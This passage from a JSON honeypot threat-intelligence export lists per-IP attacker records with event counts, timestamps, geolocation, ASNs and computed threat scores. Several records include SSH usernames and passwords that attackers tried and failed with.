      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T00:31:16.326000+00:00",
        "last_seen_30d": "2026-03-26T00:47:33.860000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "46.188.119.26": {
      "attack_count": 9,
      "first_seen": "2026-03-02T22:57:16.128Z",
      "last_seen": "2026-03-24T00:54:40.771Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "qwerty123@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 8334,
      "as_org": "LLC SETEL",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T22:57:16.128000+00:00",
        "last_seen_30d": "2026-03-24T01:04:50.510000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 7
      }
    },
    "65.49.1.66": {
      "attack_count": 9,
      "first_seen": "2026-03-18T02:05:43.380Z",
      "last_seen": "2026-03-18T02:05:43.561Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:108.0) Gecko/20100101 Firefox/108.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 271,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T10:47:28+00:00",
        "last_seen_30d": "2026-03-31T06:52:13.865000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 170,
        "Honeytrap": 81,
        "Cowrie": 9,
        "Tanner": 5,
        "Adbhoney": 2,
        "Dionaea": 2,
        "Honeyaml": 2
      }
    },
    "8.210.110.71": {
      "attack_count": 9,
      "first_seen": "2026-03-31T13:27:25.274Z",
      "last_seen": "2026-03-31T13:30:47.271Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!Q2w3e4r"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T13:27:25.274000+00:00",
        "last_seen_30d": "2026-03-31T13:31:49.405000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "103.213.116.242": {
      "attack_count": 8,
      "first_seen": "2026-03-03T14:49:53.129Z",
      "last_seen": "2026-03-12T19:19:35.688Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38750,
      "as_org": "Telemedia Dinamika Sarana, PT",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:49:53.129000+00:00",
        "last_seen_30d": "2026-03-12T19:30:20.720000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "198.235.24.185": {
      "attack_count": 8,
      "first_seen": "2026-03-08T04:12:21.471Z",
      "last_seen": "2026-03-21T10:12:41.092Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 28,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T13:39:30+00:00",
        "last_seen_30d": "2026-03-31T12:27:10.286000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 24,
        "Cowrie": 8,
        "Dionaea": 2
      }
    },
    "2.57.122.196": {
      "attack_count": 8,
      "first_seen": "2026-03-27T16:02:19.314Z",
      "last_seen": "2026-03-31T16:03:06.105Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T16:02:19.314000+00:00",
        "last_seen_30d": "2026-03-31T16:04:07.498000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "91.196.152.26": {
      "attack_count": 8,
      "first_seen": "2026-03-14T09:57:11.358Z",
      "last_seen": "2026-03-21T01:22:12.427Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T11:49:15+00:00",
        "last_seen_30d": "2026-03-31T12:08:10.326000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95,
        "Honeytrap": 56,
        "Cowrie": 8,
        "Ipphoney": 1
      }
    },
    "93.123.109.176": {
      "attack_count": 8,
      "first_seen": "2026-03-06T22:04:13.865Z",
      "last_seen": "2026-03-15T10:04:13.103Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T22:04:13.865000+00:00",
        "last_seen_30d": "2026-03-15T10:05:15.757000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "60.50.43.106": {
      "attack_count": 6,
      "first_seen": "2026-03-07T11:53:56.012Z",
      "last_seen": "2026-03-20T09:48:13.854Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:53:56.012000+00:00",
        "last_seen_30d": "2026-03-20T09:49:23.497000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "64.62.156.38": {
      "attack_count": 6,
      "first_seen": "2026-03-12T01:32:07.234Z",
      "last_seen": "2026-03-20T08:39:53.953Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 321,
        "days_active_30d": 30,
        "ports_targeted_30d": 89,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T03:05:34+00:00",
        "last_seen_30d": "2026-03-31T11:39:34.311000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 187,
        "Honeytrap": 91,
        "Redishoneypot": 22,
        "Adbhoney": 8,
        "Cowrie": 6,
        "ConPot": 5,
        "Dionaea": 2
      }
    },
    "116.110.7.26": {
      "attack_count": 5,
      "first_seen": "2026-03-09T22:33:32.690Z",
      "last_seen": "2026-03-09T22:34:12.761Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelly"
      ],
      "passwords_attempted": [
        "kelly"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:33:32.690000+00:00",
        "last_seen_30d": "2026-03-09T22:35:15.840000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "172.94.9.157": {
      "attack_count": 5,
      "first_seen": "2026-03-05T19:38:10.699Z",
      "last_seen": "2026-03-05T19:38:13.135Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech2024!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:57:05.244000+00:00",
        "last_seen_30d": "2026-03-05T19:39:20.879000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "184.105.139.68": {
      "attack_count": 5,
      "first_seen": "2026-03-31T02:06:31.209Z",
      "last_seen": "2026-03-31T02:06:31.360Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.160 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 308,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T13:33:40+00:00",
        "last_seen_30d": "2026-03-31T10:40:48.333000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 166,
        "Honeytrap": 116,
        "Redishoneypot": 11,
        "ConPot": 6,
        "Cowrie": 5,
        "Adbhoney": 2,
        "Dionaea": 2
      }
    },
    "104.152.52.235": {
      "attack_count": 4,
      "first_seen": "2026-03-26T15:49:23.365Z",
      "last_seen": "2026-03-26T15:49:23.808Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:46:26.867000+00:00",
        "last_seen_30d": "2026-03-26T15:50:29.732000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4
      }
    },
    "13.58.203.73": {
      "attack_count": 4,
      "first_seen": "2026-03-10T11:21:10.614Z",
      "last_seen": "2026-03-10T11:21:11.430Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-10T11:21:10+00:00",
        "last_seen_30d": "2026-03-10T11:31:21.055000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 110,
        "Dionaea": 9,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Redishoneypot": 2
      }
    },
    "147.185.132.39": {
      "attack_count": 4,
      "first_seen": "2026-03-12T04:05:11.647Z",
      "last_seen": "2026-03-12T04:05:14.996Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 27,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T22:48:11+00:00",
        "last_seen_30d": "2026-03-30T02:37:41.573000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 31,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "18.188.53.152": {
      "attack_count": 4,
      "first_seen": "2026-03-11T17:27:24.712Z",
      "last_seen": "2026-03-11T17:27:25.605Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-11T17:27:24+00:00",
        "last_seen_30d": "2026-03-11T17:37:34.737000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 110,
        "Dionaea": 9,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Redishoneypot": 2
      }
    },
    "2.57.121.118": {
      "attack_count": 4,
      "first_seen": "2026-03-24T22:02:43.449Z",
      "last_seen": "2026-03-24T22:02:45.471Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T22:02:43.449000+00:00",
        "last_seen_30d": "2026-03-24T22:03:50.185000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "3.137.136.201": {
      "attack_count": 4,
      "first_seen": "2026-03-07T11:46:56.149Z",
      "last_seen": "2026-03-07T11:46:56.909Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 291,
        "days_active_30d": 1,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-07T11:46:55+00:00",
        "last_seen_30d": "2026-03-07T11:57:05.311000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 161,
        "Honeytrap": 110,
        "Dionaea": 9,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Redishoneypot": 2
      }
    },
    "3.94.201.110": {
      "attack_count": 4,
      "first_seen": "2026-03-13T19:45:35.019Z",
      "last_seen": "2026-03-13T19:45:42.250Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T19:45:35.019000+00:00",
        "last_seen_30d": "2026-03-17T00:55:05.328000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "64.62.197.233": {
      "attack_count": 4,
      "first_seen": "2026-03-02T14:08:25.842Z",
      "last_seen": "2026-03-02T14:08:29.842Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 29,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T13:53:52.990000+00:00",
        "last_seen_30d": "2026-03-30T06:46:20.076000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 7,
        "Cowrie": 4
      }
    },
    "65.49.1.229": {
      "attack_count": 4,
      "first_seen": "2026-03-10T14:19:09.660Z",
      "last_seen": "2026-03-10T14:19:13.745Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 19,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T19:56:57.252000+00:00",
        "last_seen_30d": "2026-03-21T08:18:03.772000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 5,
        "Cowrie": 4
      }
    },
    "66.132.153.129": {
      "attack_count": 4,
      "first_seen": "2026-03-07T04:47:09.701Z",
      "last_seen": "2026-03-07T04:47:28.830Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 54.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 20,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T02:40:07+00:00",
        "last_seen_30d": "2026-03-21T18:51:42.715000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 30,
        "Cowrie": 4,
        "Dionaea": 2,
        "Sentrypeer": 1
      }
    },
    "89.39.253.120": {
      "attack_count": 4,
      "first_seen": "2026-03-24T11:34:52.349Z",
      "last_seen": "2026-03-29T07:58:00.649Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 33977,
      "as_org": "Banat Telecom Satelit S.R.L.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T11:34:52.349000+00:00",
        "last_seen_30d": "2026-03-29T07:59:08.302000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "91.196.152.18": {
      "attack_count": 4,
      "first_seen": "2026-03-28T01:14:11.749Z",
      "last_seen": "2026-03-28T01:14:12.449Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 85.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 29,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T00:20:21+00:00",
        "last_seen_30d": "2026-03-31T14:24:07.154000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 45,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "91.230.168.106": {
      "attack_count": 3,
      "first_seen": "2026-03-12T19:40:36.839Z",
      "last_seen": "2026-03-12T19:40:36.841Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 53.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
